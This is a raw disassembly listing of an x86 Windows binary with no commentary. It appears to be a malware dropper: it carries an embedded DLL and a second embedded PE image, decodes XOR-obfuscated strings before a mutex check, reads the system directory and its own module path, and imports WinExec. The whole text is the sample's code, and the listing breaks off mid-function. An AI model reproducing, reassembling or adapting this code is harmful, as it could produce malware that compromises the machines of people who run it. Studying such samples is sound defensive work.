		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	10001000h
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_43D5D9:				; CODE XREF: sub_43D5BC+44j
					; sub_43D5BC+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43D608
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43D608
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43D5D9
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43D5D9
; ---------------------------------------------------------------------------

loc_43D608:				; CODE XREF: sub_43D5BC+2Aj
					; sub_43D5BC+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43D5BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D616	proc near		; CODE XREF: .data:0043D6D7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	10001092h
		push	[ebp+arg_0]
		call	sub_43DCB0
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43D616	endp

; ---------------------------------------------------------------------------
		db 0FCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_43D70B
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_43D669:				; CODE XREF: .data:0043D702j
		cmp	esi, 0FFFFFFFFh
		jz	loc_43D71A
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43D6F9
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ds:10004034h, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	ds:10004038h, eax
		mov	eax, [edx+4]
		mov	ds:1000403Ch, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, ds:10004040h
		mov	esi, ds:10004038h
		rep movsd
		lea	edi, ds:10004040h
		mov	ds:10004038h, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43D6F9
		js	short loc_43D707
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43D616
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43D5BC
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]

loc_43D6F9:				; CODE XREF: .data:0043D67Aj
					; .data:0043D6CFj
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43D669
; ---------------------------------------------------------------------------

loc_43D707:				; CODE XREF: .data:0043D6D1j
		xor	eax, eax
		jmp	short loc_43D724
; ---------------------------------------------------------------------------

loc_43D70B:				; CODE XREF: .data:0043D64Ej
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43D5BC
		add	esp, 0Ch

loc_43D71A:				; CODE XREF: .data:0043D66Cj
		push	0Bh
		call	sub_43DD1C
		add	esp, 4

loc_43D724:				; CODE XREF: .data:0043D709j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_43D73D
		call	sub_43D760

loc_43D73D:				; CODE XREF: .data:0043D736j
		call	sub_43DC0F
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, ds:10004000h
		call	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0B8h, 1, 0
		dd 0F2EB0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D760	proc near		; CODE XREF: .data:0043D738p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_43DCD4
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_43DCD4
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_43DCD4
		mov	[ebp+var_C], eax
		push	1000401Eh
		push	[ebp+var_8]
		call	sub_43DCC8
		mov	ds:10004008h, eax
		push	1000401Ch
		push	[ebp+var_4]
		call	sub_43DCC8
		mov	ds:10004004h, eax
		push	1000401Ch
		push	[ebp+var_C]
		call	sub_43DCC8
		add	esp, 30h
		mov	ds:1000400Ch, eax
		mov	edi, ds:10004004h
		or	edi, edi
		jz	short loc_43D7D9
		push	0
		push	edi
		call	sub_43DD28
		add	esp, 8

loc_43D7D9:				; CODE XREF: sub_43D760+6Cj
		mov	edi, ds:1000400Ch
		or	edi, edi
		jz	short loc_43D7F3
		push	0
		push	edi
		call	sub_43DD28
		add	esp, 8
		call	sub_43D7F8

loc_43D7F3:				; CODE XREF: sub_43D760+81j
		pop	edi
		leave
		retn
sub_43D760	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D7F8	proc near		; CODE XREF: sub_43D760+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_43DC44
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_43D835
; ---------------------------------------------------------------------------

loc_43D814:				; CODE XREF: sub_43D7F8+45j
		cmp	byte ptr ds:0[ebx], 3Dh
		jz	short loc_43D821
		inc	[ebp+var_C]

loc_43D821:				; CODE XREF: sub_43D7F8+24j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]

loc_43D835:				; CODE XREF: sub_43D7F8+1Aj
		cmp	byte ptr ds:0[ebx], 0
		jnz	short loc_43D814
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_43DCF8
		pop	ecx
		mov	[ebp+var_8], eax
		mov	ds:10004010h, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_43D868
		xor	eax, eax
		jmp	short loc_43D8DE
; ---------------------------------------------------------------------------

loc_43D868:				; CODE XREF: sub_43D7F8+6Aj
		mov	ebx, [ebp+var_10]
		jmp	short loc_43D8C1
; ---------------------------------------------------------------------------

loc_43D86D:				; CODE XREF: sub_43D7F8+D1j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr ds:0[ebx], 3Dh
		jz	short loc_43D8BB
		push	[ebp+var_4]
		call	sub_43DCF8
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	ds:0[esi], eax
		or	eax, eax
		jnz	short loc_43D8A4
		jmp	short loc_43D8DE
; ---------------------------------------------------------------------------

loc_43D8A4:				; CODE XREF: sub_43D7F8+A8j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr ds:0[edi]
		call	sub_43DD4C
		add	esp, 8
		add	[ebp+var_8], 4

loc_43D8BB:				; CODE XREF: sub_43D7F8+91j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]

loc_43D8C1:				; CODE XREF: sub_43D7F8+73j
		cmp	byte ptr ds:0[ebx], 0
		jnz	short loc_43D86D
		mov	edx, [ebp+var_8]
		mov	dword ptr ds:0[edx], 0
		mov	eax, 1

loc_43D8DE:				; CODE XREF: sub_43D7F8+6Ej
					; sub_43D7F8+AAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D7F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D8E4	proc near		; CODE XREF: sub_43D98E+22p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 181h
		push	esi
		push	[ebp+arg_0]
		mov	eax, ds:10004098h
		lea	eax, ds:10002000h[eax]
		push	eax
		call	sub_43DD04
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_43D92D
; ---------------------------------------------------------------------------

loc_43D913:				; CODE XREF: sub_43D8E4+4Bj
		mov	eax, ds:10004098h
		add	eax, edi
		lea	eax, ds:10002000h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D9h
		mov	[eax], dl
		inc	edi

loc_43D92D:				; CODE XREF: sub_43D8E4+2Dj
		cmp	edi, esi
		jl	short loc_43D913
		mov	[ebp+var_8], 389h
		mov	eax, ds:10004098h
		add	eax, esi
		mov	byte ptr ds:10002000h[eax], 0
		xor	edi, edi
		mov	edi, ds:10004098h
		add	dword ptr ds:10004098h,	3
		mov	eax, ds:10004098h
		lea	eax, [eax+esi+4]
		mov	ds:10004098h, eax
		inc	dword ptr ds:10004098h
		cmp	dword ptr ds:10004098h,	0DB6h
		jle	short loc_43D97D
		and	dword ptr ds:10004098h,	0

loc_43D97D:				; CODE XREF: sub_43D8E4+90j
		mov	[ebp+var_C], 9Ch
		lea	eax, [edi+10002000h]
		pop	edi
		pop	esi
		leave
		retn
sub_43D8E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D98E	proc near		; CODE XREF: .data:0043DB27p

var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		lea	edi, [ebp+var_5]
		lea	esi, ds:1000409Ch
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	sub_43DC80
		push	5
		push	100040BDh
		call	sub_43D8E4
		add	esp, 8
		push	eax
		push	0
		push	1F0001h
		call	sub_43DCA4
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_43D9E9
		mov	[ebp+var_C], 4FA1h
		inc	[ebp+var_C]
		push	eax
		call	sub_43DC5C
		mov	[ebp+var_E], 6C6Dh
		inc	[ebp+var_E]
		xor	eax, eax
		inc	eax

loc_43D9E9:				; CODE XREF: sub_43D98E+3Cj
		pop	edi
		pop	esi
		leave
		retn
sub_43D98E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D9ED	proc near		; CODE XREF: .data:0043DB5Bp

var_10A		= byte ptr -10Ah
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		call	sub_43DC38
		call	sub_43DC68
		mov	ecx, edi
		or	eax, 0FFFFFFFFh

loc_43DA0B:				; CODE XREF: sub_43D9ED+23j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43DA0B
		mov	ebx, eax
		mov	[ebp+var_6], bx
		mov	ax, [ebp+var_6]
		mov	[ebp+var_2], ax
		jmp	short loc_43DA40
; ---------------------------------------------------------------------------

loc_43DA22:				; CODE XREF: sub_43D9ED+59j
		movzx	eax, [ebp+var_2]
		cmp	byte ptr [edi+eax], 5Ch
		jnz	short loc_43DA3C
		call	sub_43DC2C
		inc	[ebp+var_2]
		call	sub_43DC80
		jmp	short loc_43DA48
; ---------------------------------------------------------------------------

loc_43DA3C:				; CODE XREF: sub_43D9ED+3Dj
		dec	[ebp+var_2]

loc_43DA40:				; CODE XREF: sub_43D9ED+33j
		movzx	eax, [ebp+var_2]
		or	eax, eax
		jg	short loc_43DA22

loc_43DA48:				; CODE XREF: sub_43D9ED+4Dj
		mov	ax, [ebp+var_2]
		cmp	ax, [ebp+var_6]
		jnb	short loc_43DA86
		mov	[ebp+var_4], 0
		jmp	short loc_43DA74
; ---------------------------------------------------------------------------

loc_43DA5A:				; CODE XREF: sub_43D9ED+97j
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_2]
		mov	ecx, eax
		add	ecx, edx
		mov	dl, [edi+ecx]
		mov	[ebp+eax+var_10A], dl
		inc	[ebp+var_4]

loc_43DA74:				; CODE XREF: sub_43D9ED+6Bj
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jle	short loc_43DA5A

loc_43DA86:				; CODE XREF: sub_43D9ED+63j
		mov	esi, 6BBCh
		add	esi, 7D41h
		lea	eax, [ebp+var_10A]
		push	eax
		call	sub_43DC98
		call	sub_43DC8C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D9ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DAA7	proc near		; CODE XREF: .data:0043DBAEp

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		call	sub_43DC38
		push	100040BBh
		push	[ebp+arg_0]
		call	sub_43DD40
		add	esp, 8
		lea	edi, [ebp+var_8]
		lea	esi, ds:1000409Dh
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_43DAA7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	esi
		push	edi
		mov	ax, ds:100040A5h
		mov	[ebp-217h], ax
		mov	eax, ds:10004094h
		add	eax, 698h
		push	eax
		call	sub_43DD34
		mov	byte ptr [ebp-100h], 84h
		sub	byte ptr [ebp-100h], 68h
		mov	eax, ds:10004090h
		mov	edx, eax
		add	edx, 5
		push	edx
		mov	edx, 0Fh
		sub	edx, ds:10004094h
		push	edx
		mov	edx, 4
		sub	edx, eax
		push	edx
		call	sub_43D98E
		add	esp, 10h
		or	eax, eax
		jz	short loc_43DB3B
		xor	eax, eax
		inc	eax
		jmp	loc_43DBE4
; ---------------------------------------------------------------------------

loc_43DB3B:				; CODE XREF: .data:0043DB31j
		push	104h
		lea	eax, [ebp-205h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_43DC50
		call	sub_43DC38
		lea	eax, [ebp-205h]
		push	eax
		call	sub_43D9ED
		mov	byte ptr [ebp-101h], 1Bh
		add	byte ptr [ebp-101h], 1
		lea	edi, [ebp-215h]
		lea	esi, ds:100040A7h
		mov	ecx, 4
		rep movsd
		push	0FFh
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43DC74
		mov	eax, ds:100040B7h
		mov	[ebp-21Bh], eax
		call	sub_43DC38
		call	sub_43DC2C
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43DAA7
		call	sub_43DC80
		lea	eax, [ebp-215h]
		push	eax
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43DD40
		add	esp, 10h
		push	1
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43DCBC
		call	sub_43DC68
		xor	eax, eax
		inc	eax

loc_43DBE4:				; CODE XREF: .data:0043DB36j
		pop	edi
		pop	esi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		align 4
		dd 243CD950h, 0F24048Bh, 82434BAh, 240C8166h
		db 0, 2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC0F

loc_43DBFE:				; CODE XREF: sub_43DC0F+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_43DC0F
; ---------------------------------------------------------------------------
		dd 243CD950h
		db 58h,	0EBh, 0F3h

; =============== S U B	R O U T	I N E =======================================



sub_43DC0F	proc near		; CODE XREF: .data:loc_43D73Dp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043DBFE SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_43DBFE
sub_43DC0F	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 50E825FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC2C	proc near		; CODE XREF: sub_43D9ED+3Fp
					; .data:0043DBA2p
		jmp	dword ptr ds:100050ECh
sub_43DC2C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC38	proc near		; CODE XREF: sub_43D9ED+Fp
					; sub_43DAA7+7p ...
		jmp	dword ptr ds:100050F0h
sub_43DC38	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC44	proc near		; CODE XREF: sub_43D7F8+10p
		jmp	dword ptr ds:100050F4h
sub_43DC44	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC50	proc near		; CODE XREF: .data:0043DB4Ap
		jmp	dword ptr ds:100050F8h
sub_43DC50	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC5C	proc near		; CODE XREF: sub_43D98E+49p
		jmp	dword ptr ds:100050FCh
sub_43DC5C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC68	proc near		; CODE XREF: sub_43D9ED+14p
					; .data:0043DBDCp
		jmp	dword ptr ds:10005100h
sub_43DC68	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC74	proc near		; CODE XREF: .data:0043DB8Dp
		jmp	dword ptr ds:10005104h
sub_43DC74	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC80	proc near		; CODE XREF: sub_43D98E+16p
					; sub_43D9ED+48p ...
		jmp	dword ptr ds:10005108h
sub_43DC80	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC8C	proc near		; CODE XREF: sub_43D9ED+B0p
		jmp	dword ptr ds:1000510Ch
sub_43DC8C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC98	proc near		; CODE XREF: sub_43D9ED+ABp
		jmp	dword ptr ds:10005110h
sub_43DC98	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCA4	proc near		; CODE XREF: sub_43D98E+32p
		jmp	dword ptr ds:10005114h
sub_43DCA4	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCB0	proc near		; CODE XREF: sub_43D616+13p
		jmp	dword ptr ds:10005118h
sub_43DCB0	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCBC	proc near		; CODE XREF: .data:0043DBD7p
		jmp	dword ptr ds:1000511Ch
sub_43DCBC	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCC8	proc near		; CODE XREF: sub_43D760+33p
					; sub_43D760+45p ...
		jmp	dword ptr ds:10005128h
sub_43DCC8	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCD4	proc near		; CODE XREF: sub_43D760+Bp
					; sub_43D760+17p ...
		jmp	dword ptr ds:1000512Ch
sub_43DCD4	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h
		dd 513025FFh, 90901000h, 0
		dd 513425FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCF8	proc near		; CODE XREF: sub_43D7F8+58p
					; sub_43D7F8+96p
		jmp	dword ptr ds:10005138h
sub_43DCF8	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD04	proc near		; CODE XREF: sub_43D8E4+23p
		jmp	dword ptr ds:1000513Ch
sub_43DD04	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h
		dd 514025FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD1C	proc near		; CODE XREF: .data:0043D71Cp
		jmp	dword ptr ds:10005144h
sub_43DD1C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD28	proc near		; CODE XREF: sub_43D760+71p
					; sub_43D760+86p
		jmp	dword ptr ds:10005148h
sub_43DD28	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD34	proc near		; CODE XREF: .data:0043DAF5p
		jmp	dword ptr ds:1000514Ch
sub_43DD34	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD40	proc near		; CODE XREF: sub_43DAA7+14p
					; .data:0043DBC6p
		jmp	dword ptr ds:10005150h
sub_43DD40	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD4C	proc near		; CODE XREF: sub_43D7F8+B7p
		jmp	dword ptr ds:10005154h
sub_43DD4C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 14h dup(0)
		dd 2 dup(1), 7Ch dup(0)
		dd 10001536h, 5	dup(0)
		dd 7325h, 720077h, 1Ch dup(0)
		dd 2, 0Ch, 0
		dd 3B4E2A00h, 734D3E5Ah
		db 0, 4Bh, 0
aLjoaqkoc	db 'Ljoaqkoc',0         ; DATA XREF: sub_403BE7+283o
aJklmno		db 'jklmno',0
aAy_0		db 'Ay&',0
		db '\',0
aTtii		db '',0
		align 10h
		dd 4Fh dup(0)
		dd 5070h, 2 dup(0)
		dd 52F8h, 50E8h, 50B0h,	2 dup(0)
		dd 5340h, 5128h, 12h dup(0)
		dd 515Ch, 516Ch, 5184h,	519Ch, 51B8h, 51D0h, 51E0h, 51F4h
		dd 520Ch, 521Ch, 522Ch,	5240h, 5250h, 525Ch, 2 dup(0)
		dd 5268h, 5274h, 5288h,	5294h, 52A0h, 52ACh, 52B8h, 52C4h
		dd 52CCh, 52D8h, 52E0h,	52ECh, 2 dup(0)
		dd 515Ch, 516Ch, 5184h,	519Ch, 51B8h, 51D0h, 51E0h, 51F4h
		dd 520Ch, 521Ch, 522Ch,	5240h, 5250h, 525Ch, 2 dup(0)
		dd 5268h, 5274h, 5288h,	5294h, 52A0h, 52ACh, 52B8h, 52C4h
		dd 52CCh, 52D8h, 52E0h,	52ECh, 0
		dd 78450081h, 72507469h, 7365636Fh, 73h, 654700DEh, 72754374h
		dd 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h, 72754374h
		dd 746E6572h, 65726854h, 64496461h, 0
		dd 654700EDh, 766E4574h, 6E6F7269h, 746E656Dh, 69727453h
		dd 4173676Eh, 0
		dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
		dd 6C43001Bh, 4865736Fh, 6C646E61h, 65h, 65470124h, 6F725074h
		dd 73736563h, 70616548h, 0
		dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 41h,	65470155h, 63695474h, 756F436Bh, 746Eh,	6547015Ch
		dd 72655674h, 6E6F6973h, 0
		dd 6C470168h, 6C61626Fh, 41646441h, 416D6F74h, 0
		dd 704F01D2h, 754D6E65h, 41786574h, 0
		dd 7452020Eh, 776E556Ch, 646E69h, 69570298h, 6578456Eh
		dd 63h,	665F0080h, 65706F64h, 6Eh, 6F5F014Fh, 5F6E6570h
		dd 6866736Fh, 6C646E61h, 65h, 6366020Dh, 65736F6Ch, 0
		dd 635F0039h, 74697865h, 0
		dd 616D024Eh, 636F6C6Ch, 0
		dd 656D0254h, 7970636Dh, 0
		dd 7270025Bh, 66746E69h, 0
		dd 61720260h, 657369h, 65730267h, 66756274h, 0
		dd 7273026Fh, 646E61h, 74730271h, 74616372h, 0
		dd 74730275h, 79706372h, 0
aKernel32_dll_0	db 'KERNEL32.DLL',0
		align 4
		dd 0Eh dup(10005000h), 44545243h, 442E4C4Ch, 4C4Ch, 0Ch	dup(10005014h)
		dd 22h dup(0)
		dd 20h,	0
		dd 20h,	1000h, 1800h, 2000h, 2C00h, 78h	dup(0)
		dd 1000h, 94h, 3086302Bh, 30F730EDh, 310D30FFh,	311B3113h
		dd 31B03121h, 31FD31F0h, 320F3202h, 32243214h, 323F322Ah
		dd 335F32BEh, 33783366h, 339D3381h, 33AF33A6h, 33BB33B5h
		dd 33CA33C4h, 33DC33D0h, 33FF33EAh, 35183410h, 3543352Ch
		dd 356D354Fh, 35DA357Eh, 368635F7h, 369E3692h, 36B636AAh
		dd 36CE36C2h, 36E636DAh, 36FE36F2h, 3716370Ah, 372E3722h
		dd 3746373Ah, 375E3752h, 3776376Ah, 378E3782h, 37A6379Ah
		dd 37B2h, 4000h, 0Ch, 3000h, 5000h, 3Ch, 330C3308h, 33143310h
		dd 331C3318h, 33243320h, 332C3328h, 33343330h, 333C3338h
		dd 3350334Ch, 33583354h, 3360335Ch, 33683364h, 3370336Ch
		dd 33783374h, 4Ah dup(0)
aB_1		db 0Ah
		db '|B',0
		align 4
aP		db '(p',0
		align 4
		dd 3 dup(1), 7030h, 7034h, 7038h, 2E6C6C64h, 6C6C64h, 1536h
		dd 703Ch, 0
a_libmain@12	db '_LibMain@12',0
		dd 6Eh dup(0)
		db 0
byte_43EB9D	db 4Dh,	5Ah, 90h	; DATA XREF: sub_403A5F+CCo
		dd 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 8000h, 0BA1F0E00h, 9B4000Eh,	1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 455000h, 4014C00h, 7CA9DF00h, 42h, 0
		dd 0E00E000h, 2010B01h,	1A0037h, 180000h, 20000h, 121900h
		dd 100000h, 300000h, 40000000h,	100000h, 20000h, 100h
		dd 0
		dd 400h, 0
		dd 600000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 500000h, 97000h, 1Ch	dup(0)
		dd 65742E00h, 7478h, 19A400h, 100000h, 19A400h,	40000h
		dd 3 dup(0)
		dd 2000h, 73622E60h, 73h, 11000h, 300000h, 5 dup(0)
		dd 8000h, 61642EC0h, 6174h, 0DE800h, 400000h, 0DE800h
		dd 1E0000h, 3 dup(0)
		dd 4000h, 64692EC0h, 617461h, 97000h, 500000h, 97000h
		dd 2C0000h, 3 dup(0)
		dd 6000h, 0C0h,	79h dup(0)
		dd 40C03100h, 4244C8Bh,	60441F7h, 74000000h, 24448B0Fh
		dd 24548B08h, 0B8028910h, 3
		db 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_43EFBD	proc near		; CODE XREF: .data:0043F0F5p
					; .data:0043F123p

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_401000
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_43EFDA:				; CODE XREF: sub_43EFBD+44j
					; sub_43EFBD+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43F009
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43F009
		lea	esi, [esi+esi*2]
